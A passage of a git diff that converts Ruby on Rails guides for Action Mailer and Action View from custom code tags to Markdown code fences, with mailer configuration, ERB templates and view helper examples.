Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
def receive(email)
page = Page.find_by_address(email.to.first)
@@ -454,7 +454,7 @@ class UserMailer < ActionMailer::Base
end
end
end
-</ruby>
+```
h3. Using Action Mailer Helpers
@@ -478,7 +478,7 @@ h4. Example Action Mailer Configuration
An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
-<ruby>
+```ruby
config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
@@ -488,13 +488,13 @@ config.action_mailer.delivery_method = :sendmail
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: "no-replay@example.org"}
-</ruby>
+```
h4. Action Mailer Configuration for GMail
As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
-<ruby>
+```ruby
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
:address => "smtp.gmail.com",
@@ -504,7 +504,7 @@ config.action_mailer.smtp_settings = {
:password => '<password>',
:authentication => 'plain',
:enable_starttls_auto => true }
-</ruby>
+```
h3. Mailer Testing
@@ -512,7 +512,7 @@ By default Action Mailer does not send emails in the test environment. They are
Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
-<ruby>
+```ruby
class UserMailerTest < ActionMailer::TestCase
def test_welcome_email
user = users(:some_user_in_your_fixtures)
@@ -528,7 +528,7 @@ class UserMailerTest < ActionMailer::TestCase
assert_match "you have joined to example.com community", email.body.to_s
end
end
-</ruby>
+```
In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
@@ -540,16 +540,16 @@ h4. Custom Queues
If you need a different queue than <tt>Rails.queue</tt> for your mailer you can use <tt>ActionMailer::Base.queue=</tt>:
-<ruby>
+```ruby
class WelcomeMailer < ActionMailer::Base
self.queue = MyQueue.new
end
-</ruby>
+```
or adding to your <tt>config/environments/$RAILS_ENV.rb</tt>:
-<ruby>
+```ruby
config.action_mailer.queue = MyQueue.new
-</ruby>
+```
Your custom queue should expect a job that responds to <tt>#run</tt>.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index 33ae7f6933..b22ab8c91a 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -24,7 +24,7 @@ For each controller there is an associated directory in the <tt>app/views</tt> d
Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
-<shell>
+```shell
$ rails generate scaffold post
[...]
invoke scaffold_controller
@@ -37,7 +37,7 @@ $ rails generate scaffold post
create app/views/posts/new.html.erb
create app/views/posts/_form.html.erb
[...]
-</shell>
+```
There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory.
@@ -49,16 +49,16 @@ Action View works well with Action Record, but it can also be used with other Ru
Let's start by ensuring that you have the Action Pack and Rack gems installed:
-<shell>
+```shell
$ gem install actionpack
$ gem install rack
-</shell>
+```
Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Active Support.
*hello_world.rb:*
-<ruby>
+```ruby
require 'active_support/core_ext/string/inflections'
require 'rack'
@@ -67,13 +67,13 @@ def hello_world(env)
end
Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567
-</ruby>
+```
We can see this all come together by starting up the application and then visiting +http://localhost:4567/+
-<shell>
+```shell
$ ruby hello_world.rb
-</shell>
+```
TODO needs a screenshot? I have one - not sure where to put it.
@@ -83,29 +83,29 @@ Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the sam
Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
-<shell>
+```shell
$ gem install actionpack
$ gem install sinatra
-</shell>
+```
Now we'll create the same "Hello World" application in Sinatra.
*hello_world.rb:*
-<ruby>
+```ruby
require 'action_view'
require 'sinatra'
get '/' do
erb 'hello world'.titleize
end
-</ruby>
+```
Then, we can run the application:
-<shell>
+```shell
$ ruby hello_world.rb
-</shell>
+```
Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+
@@ -128,19 +128,19 @@ Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+
Consider the following loop for names:
-<erb>
+```erb
<b>Names of all the people</b>
<% @people.each do |person| %>
Name: <%= person.name %><br/>
<% end %>
-</erb>
+```
The loop is setup in regular embedding tags +<% %>+ and the name is written using the output embedding tag +<%= %>+. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
-<erb>
+```erb
<%# WRONG %>
Hi, Mr. <% puts "Frodo" %>
-</erb>
+```
To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+.
@@ -150,43 +150,43 @@ Builder templates are a more programmatic alternative to ERB. They are especiall
Here are some basic examples:
-<ruby>
+```ruby
xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href"=>"http://rubyonrails.org")
xml.target("name"=>"compile", "option"=>"fast")
-</ruby>
+```
will produce
-<html>
+```html
<em>emphasized</em>
<em><b>emph &amp; bold</b></em>
<a href="http://rubyonrails.org">A link</a>
<target option="fast" name="compile" />
-</html>
+```
Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
-<ruby>
+```ruby
xml.div {
xml.h1(@person.name)
xml.p(@person.bio)
}
-</ruby>
+```
would produce something like:
-<html>
+```html
<div>
<h1>David Heinemeier Hansson</h1>
<p>A product of Danish Design during the Winter of '79...</p>
</div>
-</html>
+```
A full-length RSS example actually used on Basecamp:
-<ruby>
+```ruby
xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
xml.channel do
xml.title(@feed_title)
@@ -207,7 +207,7 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
end
end
end
-</ruby>
+```
h5. Template Caching
@@ -221,15 +221,15 @@ h5. Naming Partials
To render a partial as part of a view, you use the +render+ method within the view:
-<ruby>
+```ruby
<%= render "menu" %>
-</ruby>
+```
This will render a file named +_menu.html.erb+ at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-<ruby>
+```ruby
<%= render "shared/menu" %>
-</ruby>
+```
That code will pull in the partial from +app/views/shared/_menu.html.erb+.
@@ -237,7 +237,7 @@ h5. Using Partials to simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-<erb>
+```erb
<%= render "shared/ad_banner" %>
<h1>Products</h1>
@@ -248,7 +248,7 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
<% end %>
<%= render "shared/footer" %>
-</erb>
+```
Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
@@ -256,35 +256,35 @@ h5. The :as and :object options
By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given
-<erb>
+```erb
<%= render :partial => "product" %>
-</erb>
+```
within product we'll get <tt>@product</tt> in the local variable +product+, as if we had written:
-<erb>
+```erb
<%= render :partial => "product", :locals => { :product => @product } %>
-</erb>
+```
With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we wanted it to be +item+ instead of product+ we'd do:
-<erb>
+```erb
<%= render :partial => "product", :as => 'item' %>
-</erb>
+```
The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance.
For example, instead of:
-<erb>
+```erb
<%= render :partial => "product", :locals => { :product => @item } %>
-</erb>
+```
you'd do:
-<erb>
+```erb
<%= render :partial => "product", :object => @item %>
-</erb>
+```
The <tt>:object</tt> and <tt>:as</tt> options can be used together.
@@ -293,17 +293,17 @@ h5. Rendering Collections
The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within.
So the three-lined example for rendering all the products can be rewritten with a single line:
-<erb>
+```erb
<%= render :partial => "product", :collection => @products %>
-</erb>
+```
When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+ , and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
You can use a shorthand syntax for rendering collections. Assuming @products is a collection of +Product+ instances, you can simply write the following to produce the same result:
-<erb>
+```erb
<%= render @products %>
-</erb>
+```
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
@@ -311,9 +311,9 @@ h5. Spacer Templates
You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-<erb>
+```erb
<%= render @products, :spacer_template => "product_ruler" %>
-</erb>
+```
Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
@@ -331,47 +331,47 @@ Partials can have their own layouts applied to them. These layouts are different
Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+:
-<ruby>
+```ruby
Post.create(:body => 'Partial Layouts are cool!')
-</ruby>
+```
In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout:
*posts/show.html.erb*
-<ruby>
+```ruby
<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
-</ruby>
+```
The +box+ layout simply wraps the +post+ partial in a +div+:
*posts/_box.html.erb*
-<ruby>
+```ruby
<div class='box'>
<%= yield %>
</div>
-</ruby>
+```
The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper:
*posts/_post.html.erb*
-<ruby>
+```ruby
<%= div_for(post) do %>
<p><%= post.body %></p>
<% end %>
-</ruby>
+```
This example would output the following:
-<html>
+```html
<div class='box'>
<div id='post_1'>
<p>Partial Layouts are cool!</p>
</div>
</div>
-</html>
+```
Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
@@ -379,13 +379,13 @@ You can also render a block of code within a partial layout instead of calling +
*posts/show.html.erb*
-<ruby>
+```ruby
<% render(:layout => 'box', :locals => {:post => @post}) do %>
<%= div_for(post) do %>
<p><%= post.body %></p>
<% end %>
<% end %>
-</ruby>
+```
If we're using the same +box+ partial from above, his would produce the same output as the previous example.
@@ -405,27 +405,27 @@ h5. error_message_on
Returns a string containing the error message attached to the method on the object if one exists.
-<ruby>
+```ruby
error_message_on "post", "title"
-</ruby>
+```
h5. error_messages_for
Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
-<ruby>
+```ruby
error_messages_for "post"
-</ruby>
+```
h5. form
Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
-<ruby>
+```ruby
form("post")
-</ruby>
+```
-<html>
+```html
<form action='/posts/create' method='post'>
<p>
<label for="post_title">Title</label><br />
@@ -437,7 +437,7 @@ form("post")
</p>
<input name="commit" type="submit" value="Create" />
</form>
-</html>
+```
Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
@@ -447,10 +447,10 @@ Returns a default input tag for the type of object returned by the method.
For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World":
-<ruby>
+```ruby
input("post", "title") # =>
<input id="post_title" name="post[title]" type="text" value="Hello World" />
-</ruby>
+```
h4. RecordTagHelper
@@ -462,72 +462,72 @@ Renders a container tag that relates to your Active Record Object.
For example, given +@post+ is the object of +Post+ class, you can do:
-<ruby>
+```ruby
<%= content_tag_for(:tr, @post) do %>
<td><%= @post.title %></td>
<% end %>
-</ruby>
+```
This will generate this HTML output:
-<html>
+```html
<tr id="post_1234" class="post">
<td>Hello World!</td>
</tr>
-</html>
+```
You can also supply HTML attributes as an additional option hash. For example:
-<ruby>
+```ruby
<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
<td><%= @post.title %></td>
<% end %>
-</ruby>
+```
Will generate this HTML output:
-<html>
+```html
<tr id="post_1234" class="post frontpage">
<td>Hello World!</td>
</tr>
-</html>
+```
You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects:
-<ruby>
+```ruby
<%= content_tag_for(:tr, @posts) do |post| %>
<td><%= post.title %></td>
<% end %>
-</ruby>
+```
Will generate this HTML output:
-<html>
+```html
<tr id="post_1234" class="post">
<td>Hello World!</td>
</tr>
<tr id="post_1235" class="post">
<td>Ruby on Rails Rocks!</td>
</tr>
-</html>
+```
h5. div_for
This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
-<ruby>
+```ruby
<%= div_for(@post, :class => "frontpage") do %>
<td><%= @post.title %></td>
<% end %>
-</ruby>
+```
Will generate this HTML output:
-<html>
+```html
<div id="post_1234" class="post frontpage">
<td>Hello World!</td>
</div>
-</html>
+```
h4. AssetTagHelper
@@ -535,155 +535,155 @@ This module provides methods for generating HTML that links views to assets such
By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +config.action_controller.asset_host+ in the application configuration, typically in +config/environments/production.rb+. For example, let's say your asset host is +assets.example.com+:
-<ruby>
+```ruby
config.action_controller.asset_host = "assets.example.com"
image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
-</ruby>
+```
h5. register_javascript_expansion
Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +vendor/assets/javascripts+.
-<ruby>
+```ruby
ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
javascript_include_tag :monkey # =>
<script src="/assets/head.js"></script>
<script src="/assets/body.js"></script>
<script src="/assets/tail.js"></script>
-</ruby>
+```
h5. register_stylesheet_expansion
Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +vendor/assets/stylesheets+.
-<ruby>
+```ruby
ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
stylesheet_link_tag :monkey # =>
<link href="/assets/head.css" media="screen" rel="stylesheet" />
<link href="/assets/body.css" media="screen" rel="stylesheet" />
<link href="/assets/tail.css" media="screen" rel="stylesheet" />
-</ruby>
+```
h5. auto_discovery_link_tag
Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
-<ruby>
+```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # =>
<link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
-</ruby>
+```
h5. image_path
Computes the path to an image asset in the +app/assets/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
-<ruby>
+```ruby
image_path("edit.png") # => /assets/edit.png
-</ruby>
+```
Fingerprint will be added to the filename if config.assets.digest is set to true.
-<ruby>
+```ruby
image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
-</ruby>
+```
h5. image_url
Computes the url to an image asset in the +app/asset/images+ directory. This will call +image_path+ internally and merge with your current host or your asset host.
-<ruby>
+```ruby
image_url("edit.png") # => http://www.example.com/assets/edit.png
-</ruby>
+```
h5. image_tag
Returns an html image tag for the source. The source can be a full path or a file that exists in your +app/assets/images+ directory.
-<ruby>
+```ruby
image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
-</ruby>
+```
h5. javascript_include_tag
Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +app/assets/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
-<ruby>
+```ruby
javascript_include_tag "common" # => <script src="/assets/common.js"></script>
-</ruby>
+```
If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +app/assets/javascripts+ directory, it will be included as well.
-<ruby>
+```ruby
javascript_include_tag :defaults
-</ruby>
+```
You can also include all JavaScript files in the +app/assets/javascripts+ directory using +:all+ as the source.
-<ruby>
+```ruby
javascript_include_tag :all
-</ruby>
+```
You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-<ruby>
+```ruby
javascript_include_tag :all, :cache => true # =>
<script src="/javascripts/all.js"></script>
-</ruby>
+```
h5. javascript_path
Computes the path to a JavaScript asset in the +app/assets/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
-<ruby>
+```ruby
javascript_path "common" # => /assets/common.js
-</ruby>
+```
h5. javascript_url
Computes the url to a JavaScript asset in the +app/assets/javascripts+ directory. This will call +javascript_path+ internally and merge with your current host or your asset host.
-<ruby>
+```ruby
javascript_url "common" # => http://www.example.com/assets/common.js
-</ruby>
+```
h5. stylesheet_link_tag
Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
-<ruby>
+```ruby
stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
-</ruby>
+```
You can also include all styles in the stylesheet directory using :all as the source:
-<ruby>
+```ruby
stylesheet_link_tag :all
-</ruby>
+```
You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-<ruby>
+```ruby
stylesheet_link_tag :all, :cache => true
# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
-</ruby>
+```
h5. stylesheet_path
Computes the path to a stylesheet asset in the +app/assets/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
-<ruby>
+```ruby
stylesheet_path "application" # => /assets/application.css
-</ruby>
+```
h5. stylesheet_url
Computes the url to a stylesheet asset in the +app/assets/stylesheets+ directory. This will call +stylesheet_path+ internally and merge with your current host or your asset host.
-<ruby>
+```ruby
stylesheet_url "application" # => http://www.example.com/assets/application.css
-</ruby>
+```
h4. AtomFeedHelper
@@ -693,13 +693,13 @@ This helper makes building an Atom feed easy. Here's a full usage example:
*config/routes.rb*
-<ruby>
+```ruby
resources :posts
-</ruby>
+```
*app/controllers/posts_controller.rb*
-<ruby>
+```ruby
def index
@posts = Post.all
@@ -708,11 +708,11 @@ def index
format.atom
end
end
-</ruby>
+```
*app/views/posts/index.atom.builder*
-<ruby>
+```ruby
atom_feed do |feed|
feed.title("Posts Index")
feed.updated((@posts.first.created_at))
@@ -728,7 +728,7 @@ atom_feed do |feed|
end
end
end
-</ruby>
+```
h4. BenchmarkHelper
@@ -736,11 +736,11 @@ h5. benchmark
Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
-<ruby>
+```ruby
<% benchmark "Process data files" do %>
<%= expensive_files_operation %>
<% end %>
-</ruby>
+```
This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
@@ -750,11 +750,11 @@ h5. cache
A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
-<ruby>
+```ruby
<% cache do %>
<%= render "shared/footer" %>
<% end %>
-</ruby>
+```
h4. CaptureHelper
@@ -762,15 +762,15 @@ h5. capture
The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
-<ruby>
+```ruby
<% @greeting = capture do %>
<p>Welcome! The date and time is <%= Time.now %></p>
<% end %>
-</ruby>
+```
The captured variable can then be used anywhere else.
-<ruby>
+```ruby
<html>
<head>
<title>Welcome!</title>
@@ -779,7 +779,7 @@ The captured variable can then be used anywhere else.
<%= @greeting %>
</body>
</html>
-</ruby>
+```
h5. content_for
@@ -789,7 +789,7 @@ For example, let's say we have a standard application layout, but also a special
*app/views/layouts/application.html.erb*
-<ruby>
+```ruby
<html>
<head>
<title>Welcome!</title>
@@ -799,17 +799,17 @@ For example, let's say we have a standard application layout, but also a special
<p>Welcome! The date and time is <%= Time.now %></p>
</body>
</html>
-</ruby>
+```
*app/views/posts/special.html.erb*
-<ruby>
+```ruby
<p>This is a special page.</p>
<% content_for :special_script do %>
<script>alert('Hello!')</script>
<% end %>
-</ruby>
+```
h4. DateHelper
@@ -817,147 +817,147 @@ h5. date_select
Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
-<ruby>
+```ruby
date_select("post", "published_on")
-</ruby>
+```
h5. datetime_select
Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
-<ruby>
+```ruby
datetime_select("post", "published_on")
-</ruby>
+```
h5. distance_of_time_in_words
Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
-<ruby>
+```ruby
distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute
distance_of_time_in_words(Time.now, Time.now + 15.seconds, :include_seconds => true) # => less than 20 seconds
-</ruby>
+```
h5. select_date
Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
-<ruby>
+```ruby
# Generates a date select that defaults to the date provided (six days after today)
select_date(Time.today + 6.days)
# Generates a date select that defaults to today (no specified date)
select_date()
-</ruby>
+```
h5. select_datetime
Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
-<ruby>
+```ruby
# Generates a datetime select that defaults to the datetime provided (four days after today)
select_datetime(Time.now + 4.days)
# Generates a datetime select that defaults to today (no specified datetime)
select_datetime()
-</ruby>
+```
h5. select_day
Returns a select tag with options for each of the days 1 through 31 with the current day selected.
-<ruby>
+```ruby
# Generates a select field for days that defaults to the day for the date provided
select_day(Time.today + 2.days)
# Generates a select field for days that defaults to the number given
select_day(5)
-</ruby>
+```
h5. select_hour
Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-<ruby>
+```ruby
# Generates a select field for minutes that defaults to the minutes for the time provided
select_minute(Time.now + 6.hours)
-</ruby>
+```
h5. select_minute
Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-<ruby>
+```ruby
# Generates a select field for minutes that defaults to the minutes for the time provided.
select_minute(Time.now + 6.hours)
-</ruby>
+```
h5. select_month
Returns a select tag with options for each of the months January through December with the current month selected.
-<ruby>
+```ruby
# Generates a select field for months that defaults to the current month
select_month(Date.today)
-</ruby>
+```
h5. select_second
Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-<ruby>
+```ruby
# Generates a select field for seconds that defaults to the seconds for the time provided
select_second(Time.now + 16.minutes)
-</ruby>
+```
h5. select_time
Returns a set of html select-tags (one for hour and minute).
-<ruby>
+```ruby
# Generates a time select that defaults to the time provided
select_time(Time.now)
-</ruby>
+```
h5. select_year
Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
-<ruby>
+```ruby
# Generates a select field for five years on either side of Date.today that defaults to the current year
select_year(Date.today)
# Generates a select field from 1900 to 2009 that defaults to the current year
select_year(Date.today, :start_year => 1900, :end_year => 2009)
-</ruby>
+```
h5. time_ago_in_words
Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
-<ruby>
+```ruby
time_ago_in_words(3.minutes.from_now) # => 3 minutes
-</ruby>
+```
h5. time_select
Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
-<ruby>
+```ruby
# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
time_select("order", "submitted")
-</ruby>
+```
h4. DebugHelper
Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
-<ruby>
+```ruby
my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
debug(my_hash)
-</ruby>
+```
-<html>
+```html
<pre class='debug_dump'>---
first: 1
second: two
@@ -966,7 +966,7 @@ third:
- 2
- 3
</pre>
-</html>
+```
h4. FormHelper
@@ -976,30 +976,30 @@ There are two types of form helpers: those that specifically work with model att
The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
-<ruby>
+```ruby
# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
<%= form_for @person, :url => { :action => "create" } do |f| %>
<%= f.text_field :first_name %>
<%= f.text_field :last_name %>
<%= submit_tag 'Create' %>
<% end %>
-</ruby>
+```
The HTML generated for this would be:
-<html>
+```html
<form action="/persons/create" method="post">
<input id="person_first_name" name="person[first_name]" type="text" />
<input id="person_last_name" name="person[last_name]" type="text" />
<input name="commit" type="submit" value="Create" />
</form>
-</html>
+```
The params object created when this form is submitted would look like:
-<ruby>
+```ruby
{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
-</ruby>
+```
The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
@@ -1007,18 +1007,18 @@ h5. check_box
Returns a checkbox tag tailored for accessing a specified attribute.
-<ruby>
+```ruby
# Let's say that @post.validated? is 1:
check_box("post", "validated")
# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
# <input name="post[validated]" type="hidden" value="0" />
-</ruby>
+```
h5. fields_for
Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
-<ruby>
+```ruby
<%= form_for @person, :url => { :action => "update" } do |person_form| %>
First name: <%= person_form.text_field :first_name %>
Last name : <%= person_form.text_field :last_name %>
@@ -1027,88 +1027,88 @@ Creates a scope around a specific model object like form_for, but doesn't create
Admin? : <%= permission_fields.check_box :admin %>
<% end %>
<% end %>
-</ruby>
+```
h5. file_field
Returns a file upload input tag tailored for accessing a specified attribute.
-<ruby>
+```ruby
file_field(:user, :avatar)
# => <input type="file" id="user_avatar" name="user[avatar]" />
-</ruby>
+```
h5. form_for
Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
-<ruby>
+```ruby
<%= form_for @post do |f| %>
<%= f.label :title, 'Title' %>:
<%= f.text_field :title %><br />
<%= f.label :body, 'Body' %>:
<%= f.text_area :body %><br />
<% end %>
-</ruby>
+```
h5. hidden_field
Returns a hidden input tag tailored for accessing a specified attribute.
-<ruby>
+```ruby
hidden_field(:user, :token)
# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-</ruby>
+```
h5. label
Returns a label tag tailored for labelling an input field for a specified attribute.
-<ruby>
+```ruby
label(:post, :title)
# => <label for="post_title">Title</label>
-</ruby>
+```
h5. password_field
Returns an input tag of the "password" type tailored for accessing a specified attribute.
-<ruby>
+```ruby
password_field(:login, :pass)
# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
-</ruby>
+```
h5. radio_button
Returns a radio button tag for accessing a specified attribute.
-<ruby>
+```ruby
# Let's say that @post.category returns "rails":
radio_button("post", "category", "rails")
radio_button("post", "category", "java")
# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
# <input type="radio" id="post_category_java" name="post[category]" value="java" />
-</ruby>
+```
h5. text_area
Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
-<ruby>
+```ruby
text_area(:comment, :text, :size => "20x30")
# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
# #{@comment.text}
# </textarea>
-</ruby>
+```
h5. text_field
Returns an input tag of the "text" type tailored for accessing a specified attribute.
-<ruby>
+```ruby
text_field(:post, :title)
# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
-</ruby>
+```
h4. FormOptionsHelper
@@ -1120,7 +1120,7 @@ Returns +select+ and +option+ tags for the collection of existing return values
Example object structure for use with this method:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
belongs_to :author
end
@@ -1131,24 +1131,24 @@ class Author < ActiveRecord::Base
"#{first_name.first}. #{last_name}"
end
end
-</ruby>
+```
Sample usage (selecting the associated Author for an instance of Post, +@post+):
-<ruby>
+```ruby
collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
-</ruby>
+```
If <tt>@post.author_id</tt> is 1, this would return:
-<html>
+```html
<select name="post[author_id]">
<option value="">Please select</option>
<option value="1" selected="selected">D. Heinemeier Hansson</option>
<option value="2">D. Thomas</option>
<option value="3">M. Clark</option>
</select>
-</html>
+```
h5. collection_radio_buttons
@@ -1156,7 +1156,7 @@ Returns +radio_button+ tags for the collection of existing return values of +met
Example object structure for use with this method:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
belongs_to :author
end
@@ -1167,24 +1167,24 @@ class Author < ActiveRecord::Base
"#{first_name.first}. #{last_name}"
end
end
-</ruby>
+```
Sample usage (selecting the associated Author for an instance of Post, +@post+):
-<ruby>
+```ruby
collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
-</ruby>
+```
If <tt>@post.author_id</tt> is 1, this would return:
-<html>
+```html
<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
